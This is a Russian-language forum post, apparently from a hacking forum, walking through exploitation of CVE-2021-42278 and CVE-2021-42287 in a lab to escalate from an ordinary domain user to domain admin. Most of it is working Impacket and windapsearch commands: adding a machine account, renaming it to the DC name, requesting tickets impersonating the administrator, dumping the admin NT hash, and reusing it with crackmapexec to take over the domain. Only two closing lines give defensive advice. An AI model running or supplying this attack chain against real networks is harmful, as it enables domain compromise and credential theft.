• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья От пользователя домена до прав админа: CVE-2021-42278, CVE-2021-42287

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Пару дней назад опубликована информация о шикарной уязвимости, эксплуатация которой позволяет поднять себе привилегии от обычного пользователя домена до администратора за несколько шагов. На гитхабе можно найти эксплойт, который должен выполнять эти действия разом, но у меня он работать отказался, поэтому сейчас я покажу, как можно организовать вертикальное продвижение в инфраструктуру отдельными шагами. Ведь постепенное продвижение гораздо интереснее, не так ли? Чтож, погнали!

Вводные​

Для стенда я собрал 2 станции – Windows Server 2012 и боевая Kali Linux.

Также, положим, что у нас раскрыта одна непривилегированная учётная запись домена: user:1qaz@WSX. Как получить хотябы минимальную учётку – я уже рассказывал ранее.

Эксплуатация уязвимости​

Суть уязвимости состоит в том, что по умолчанию пользователь может добавить до 10 рабочих станций в домен со своими привилегиями. Конечно, бдительные админы могли отключить эту функцию, поэтому убедимся, что наша исследуемая инфраструктура ей подвержена.

Код:
# git clone https://github.com/ropnop/windapsearch

1.png


При запуске скрипта получаем ошибку:

Traceback (most recent call last):
File “windapsearch.py”, line 3, in <module>
import ldap
ModuleNotFoundError: No module named ‘ldap’
Да, ещё окружение настроить нужно. Сейчас приведу список доустановок, который мне помог.
Код:
# pip3 install --upgrade pip
# pip3 install python3-ldap
# apt-get install libsasl2-dev python2-dev libldap2-dev libssl-dev
# pip install python-ldap

Да, тут пободался с версиями питона, но в итоге заработало )
Код:
# python3 windapsearch.py --dc 192.168.0.102 -d DC.LOCAL -u user -p '1qaz@WSX' --custom '(&(objectClass=domain)(distinguishedName=DC=DC,DC=LOCAL))' --attrs ms-ds-machineAccountQuota

Чтение атрибута показало, что действительно можно будет добавить до 10 компьютеров в AD. Этим и воспользуемся.

2.png


Добавляем произвольный компьютер​

Следующим шагом мы добавим компьютер в AD. Поможет нам в этом мощный пакет скриптов под названием Impacket (импакет). Я буду периодически использовать его возможности в других статьях, это реально крутой набор. Сперва поставим его:
Код:
# git clone https://github.com/SecureAuthCorp/impacket
# cd impacket
# pip3 install -r requirements.txt
# pip3 install .

Теперь перейдём в каталог examples и выполним команду добавления компьютера:
Код:
# python3 addcomputer.py -computer-name litladmin -computer-pass 'litl-admin.ru' -dc-ip 192.168.0.102 -dc-host main.dc.local dc.local/user:'1qaz@WSX'

Добавили узел с именем litladmin и паролем litl-admin.ru используя учётные данные нашего обычного пользователя.

Проверю, как выглядит:

3.png


Шаг следующий – переименуем компьютер в …. контроллер домена)

На наше счастье никто это не проверяет, поэтому воспользуемся готовым скриптом:
Код:
# wget https://gist.githubusercontent.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383/raw/39677c02d1ad17297eecdfa07b5cbe393bf94aaf/renameMachine.py

Скрипт рабочий, положу сюда же, в каталог Impacket-а.

Итак, меняем имя:
Код:
# python3 renameMachine.py DC.LOCAL/user:'1qaz@WSX' -dc-ip 192.168.0.102 -current-name 'litladmin$' -new-name MAIN

Опять же, использовали наши известные учётные данные обычного пользователя, ввели текущее имя узла и новое имя, которое должно совпадать с именем контроллера домена.

2021-12-13-23-55-40-kaliuser@kali-.png


В оснастку можно не смотреть, новый узел там не появился. Но теперь внимание!

Получим TGT на имя DC​

Ticket Granting Ticket (TGT) – первичный билет доступа к ресурсам. Запросим его на “своё” имя при помощи того же Impacket:
Код:
# python3 getTGT.py DC.LOCAL/MAIN:'litl-admin.ru' -dc-ip 192.168.0.102

Здесь обратите внимание! Билет запрашивается на имя узла (MAIN, который бывший наш litladmin$).

2021-12-13-23-58-18-kaliuser@kali-.png


Полученный билет сохраняется в файлик MAIN.ccache.

Для использования билета его нужно сперва экспортировать в переменную окружения, а затем выполнить соответствующую команду импакета с ключом -k.

Переименовываем наш узел обратно в litladmin$​

По старой схеме. Меняем местами параметры. Обратите внимание, что при указании нового имени – ставится символ $ – знак того, что это имя хоста, а не пользователя.

2021-12-14-00-00-26-kaliuser@kali-.png


Получаем тикет на службу​

На момент написания статьи в impacket ещё не входила поддержка параметра -self, поэтому, по совету авторов первоисточника, воспользуемся одним из пулл-реквестов и скачаем слегка модифицированный скрипт:

Сам pull-request: https://github.com/SecureAuthCorp/impacket/pull/1202/files

Код:
# wget raw.githubusercontent.com/SecureAuthCorp/impacket/b4774d60c7718edcf50196bf2de4aacd09d8ee99/examples/getST.py -O getST2.py

И теперь запросим билет:
Код:
# KRB5CCNAME=MAIN.ccache python3 getST2.py -spn LDAP/MAIN.DC.LOCAL DC.LOCAL/MAIN -k -no-pass -dc-ip 192.168.0.102 -impersonate admin -self

2021-12-14-00-01-38-kaliuser@kali-.png


Тикет сохранился в файлик admin.ccache.

По старой схеме, экспортируем его и выполняем команду от имени пользователя.

Получаем хеш админа​

Код:
# KRB5CCNAME=admin.ccache python3 secretsdump.py -k -no-pass MAIN.DC.LOCAL -dc-ip 192.168.0.102 -just-dc-user 'DC\admin'

2021-12-14-00-04-36-kaliuser@kali-.png


Вот и драгоценный NT-хеш учётки. Что с ним делать дальше? Как вариант – Pass-the-hash, я описывал технику ранее. А сейчас мы воспользуемся Crackmapexec, которой вместо пароля можно передать этот хер (-H) и аутентифицироваться:

2021-12-14-00-09-09-kaliuser@kali-.png

Дальше можно творить что душе угодно:

Выгрузить все учётки (SAM, NTDS), выполнять произвольные команды (-x / -X), использовать модули (lsassy, mimikatz) и т.д. В общем домен захвачен. Откланиваюсь. Было круто.

Выводы:​

  1. Для защиты – отключаем возможность добавления обычным пользователем рабочих станций в ActiveDirectory
  2. Ставим патчи, закрывающие CVE-2021-42278, CVE-2021-42287
источник
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх